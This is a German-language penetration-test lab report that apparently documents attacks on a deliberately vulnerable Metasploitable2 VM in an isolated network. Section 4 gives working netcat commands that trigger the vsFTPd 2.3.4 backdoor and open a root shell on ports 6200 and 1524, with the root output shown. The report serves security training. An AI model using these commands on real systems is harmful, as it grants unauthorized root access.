Labor für Pentest in isoliertem Netzwerk

Autor: Daniel Stefan de Jesus dos Reis Datum: September/2026 Umgebung: Persönliches KVM-Labor in isoliertem virtuellen Netzwerk pentestlab

Hinweis zu Umfang und Autorisierung

Dieser Test wurde ausschließlich gegen eine eigene, absichtlich verwundbare virtuelle Maschine durchgeführt, die von Rapid7 speziell für Trainingszwecke im Bereich offensive Sicherheit bereitgestellt wurde, innerhalb eines isolierten virtuellen Netzwerks ohne Internetzugang. Es wurde kein System Dritter angegriffen. Dieses Projekt dient ausschließlich Bildungszwecken, zur Entwicklung von Fähigkeiten im Bereich Penetrationstests.

1. Architektur des Labors

• Hypervisor: KVM/libvirt
• Virtuelles Netzwerk: pentestlab (Bridge virbr-lab), Subnetz 192.168.100.0/24, ohne konfiguriertes <forward> — also ein wirklich isoliertes Netzwerk: Die VMs kommunizieren untereinander und mit dem Host, haben aber keine Route nach außerhalb des Labors. XML des Netzwerks in evidencias/pentestlab_network.xml.
• Angreifer-Host: die Host-Maschine selbst, mit Interface virbr-lab, unter Verwendung von nmap, nikto, gobuster, hydra, sqlmap und netcat.
• Ziel: VM metasploitable2 (Metasploitable2, modifiziertes Ubuntu 8.04), IP 192.168.100.90/24, zugewiesen per DHCP des isolierten Netzwerks selbst.

[ Host / Angreifer ]  
        |
   virbr-lab (isoliertes Netzwerk, kein Internetzugang)
        |
[ metasploitable2 ] 

2. Methodik

Ich folgte einem grundlegenden Ablauf von Reconnaissance → Enumeration → Exploitation → Dokumentation:

1. Host-Erkennung und vollständiger TCP-Port-Scan mit Service-/Versionserkennung (nmap -sV -sC -p-)
2. Scan auf Web-Schwachstellen (nikto)
3. Priorisierung bekannter Schwachstellen (CVE) in Verbindung mit den identifizierten Versionen
4. Manuelle Ausnutzung, wobei alle unten aufgeführten Schritte mit nc durchgeführt wurden, um den Mechanismus jeder Schwachstelle zu verstehen, nicht nur „den Exploit auszuführen“
5. Dokumentation von Nachweisen und Empfehlungen zur Behebung

3. Reconnaissance — Vollständiger Scan

Befehl: nmap -sV -sC -p- -T4 192.168.100.90 Vollständige Ausgabe: evidencias/nmap_full_scan.txt

Zusammenfassung der relevantesten gefundenen Dienste:

4. Ausgenutzte Schwachstellen (bestätigt)

4.1 Backdoor in vsFTPd 2.3.4 — CVE-2011-2523 (Kritisch)

Zwischen dem 30.06.2011 und dem 03.07.2011 wurde der zum Download bereitgestellte Quellcode von vsFTPd 2.3.4 von einem Angreifer manipuliert. Die kompromittierte Version enthält eine Backdoor: Wenn im Benutzerfeld des FTP-Logins eine Zeichenkette empfangen wird, die auf :) endet, öffnet der Server eine Root-Shell auf TCP-Port 6200, ohne jegliche Authentifizierung.

Ausgeführte Schritte (vollständiges Log in evidencias/vsftpd_backdoor_exploit.txt):

# 1. Backdoor auslösen durch Senden von USER mit Endung ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Verbinden mit Port 6200, geöffnet durch die Backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

Ergebnis:

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Vollständiger Root-Zugriff ohne Authentifizierung erlangt.

4.2 Exponierte Bindshell auf Port 1524/tcp (Kritisch)

Nmap identifiziert diesen Dienst bereits als Metasploitable root shell — eine absichtlich im Image hinterlassene Backdoor (Überbleibsel eines früheren Exploits, üblich bei Trainings-Images). Es ist keine Ausnutzung erforderlich: Einfach verbinden.

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

Ergebnis: uid=0(root) gid=0(root) groups=0(root) — sofortiges Root.

Vollständiges Log in evidencias/bindshell_1524.txt.

5. Identifizierte Schwachstellen (in dieser Runde nicht ausgenutzt)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Kritisch, anhand der Version identifiziert)

Die Version von UnrealIRCd, die auf den Ports 6667/6697 läuft, entspricht einem Build, der historisch mit einer Backdoor verteilt wurde (Befehl AB; gefolgt von einem Shell-Befehl). Ich habe versucht, die Backdoor manuell über nc auszulösen, aber der Server behandelte die Eingabe als ungültigen IRC-Befehl (451 :You have not registered), anstatt den Befehl auszuführen — entweder enthält dieses spezifische Image nicht das trojanisierte Binary, oder die Payload erfordert eine Feinabstimmung, die ich in dieser Runde nicht priorisiert habe. Ich vermerke dies als erfolglosen Versuch, nicht als bestätigte Schwachstelle.

5.2 distccd 3632/tcp — CVE-2004-2687 (Hoch)

Dienst für verteilte Kompilierung, der beliebige Befehle von jedem verbindenden Client ohne Authentifizierung akzeptiert. Anhand der Version identifiziert, in dieser Runde nicht ausgenutzt.

5.3 Java RMI Registry — Port 1099/tcp (Hoch)

Historisch anfällig für Remote-Code-Ausführung über Deserialisierung. Anhand der Version identifiziert, in dieser Runde nicht ausgenutzt.

6. Web-Enumeration (nikto)

Befehl: nikto -h 192.168.100.90 -p 80 Vollständige Ausgabe: evidencias/nikto_scan.txt

Wichtigste Befunde:

• Apache 2.2.8 veraltet (aktuelle Serie war damals 2.2.22+)
• HTTP-Methode TRACE aktiv (potenzielles XST)
• /phpinfo.php öffentlich exponiert (offenbart PHP-Konfiguration)
• /phpMyAdmin/ ohne IP-Beschränkung zugänglich
• Verzeichnisauflistung aktiviert in /doc/, /test/ und /icons/
• phpMyAdmin-Cookie ohne httponly-Flag erstellt

7. Empfehlungen zur Behebung

8. Was dieses Labor in der Praxis gezeigt hat

• Reconnaissance und Netzwerk-Enumeration mit nmap (vollständiger Scan, Service-/Versionserkennung, NSE-Skripte)
• Verständnis des Mechanismus einer echten Backdoor (vsFTPd) und manuelle Ausnutzung über netcat, ohne Abhängigkeit von einem automatisierten Framework
• Analyse von Web-Schwachstellen mit nikto
• Dokumentation eines Penetrationstests im Berichtsformat: Umfang, Methodik, nach Schweregrad priorisierte Befunde und Empfehlungen zur Behebung
• Aufrechterhaltung einer isolierten und sicheren Laborumgebung (virtuelles Netzwerk ohne Internetzugang)

9. Nächste Schritte

• Die Ausnutzung von UnrealIRCd mit einer nachweislich trojanisierten Image-Version wiederholen, um diesen Befund abzuschließen
• Eine zweite dedizierte Angreifer-Maschine (z. B. Kali Linux) zum Netzwerk pentestlab hinzufügen, anstatt direkt vom Host anzugreifen
• Dieses Labor auf ein Active-Directory-Szenario ausweiten (separat geplantes Projekt)